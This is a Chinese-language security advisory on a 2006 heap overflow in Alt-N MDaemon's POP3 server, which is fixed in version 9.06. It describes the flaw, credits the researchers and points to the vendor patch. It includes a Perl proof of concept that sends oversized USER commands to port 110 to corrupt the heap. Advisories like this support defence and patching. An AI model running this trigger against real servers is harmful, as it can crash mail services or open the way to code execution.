2006-8-23
发布日期:2006-08-21 更新日期:2006-08-23
受影响系统:
Alt-N MDaemon < 9.06 不受影响系统:
Alt-N MDaemon 9.06
描述:
BUGTRAQ ID: 19651
Alt-N MDaemon是一款基于Windows的邮件服务程序。
MDaemon POP3服务器在处理USER和APOP命令时存在缓冲区溢出漏洞。如果向USER或APOP命令发送了包含有“@”字符的超长字符串的话,就会触发这个漏洞,导致堆溢出。如果要利用这个漏洞,必须向POP3服务器发送多个USER命令。成功利用这个漏洞的攻击者可能会执行任意代码,具体取决于堆的状态及字符串的长度。
<*来源:Leon Juranic (ljuranic@LSS.hr) Sasa Jusic (sasa.jusic@infigo.hr) 链接:http://marc.theaimsgroup.com/?l=bugtraq&m=115626115116358&w=2 *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# # PoC for Mdaemon POP3 preauth heap overflow # # Coded by Leon Juranic # Infigo IS # #
$host = '192.168.0.105';
use IO::Socket;
for ($x = 0 ; $x < 12 ; $x++) { $sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110', Proto => 'tcp') || die "socket error\n\n"; recv ($sock, $var, 10000,0); print $var; print $sock "USER " . "\@A" x 160 . "\r\n"; recv ($sock, $var, 10000,0); print $var; print $sock "QUIT\r\n"; recv ($sock, $var, 10000,0); print $var; close ($sock); sleep(1); } $sock = new IO::Socket::INET (PeerAddr => $host,PeerPort => '110', Proto => 'tcp') || die "socket error\n\n"; recv ($sock, $var, 10000,0); print $var; print $sock "USER " . "\@A\@A" . "B" x 326 . "\r\n"; recv ($sock, $var, 10000,0); print $var; print $sock "USER " . "\'A" x 337 . "\r\n"; recv ($sock, $var, 10000,0); print $var; sleep(2);
建议:
厂商补丁:
Alt-N ----- 目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.altn.com
|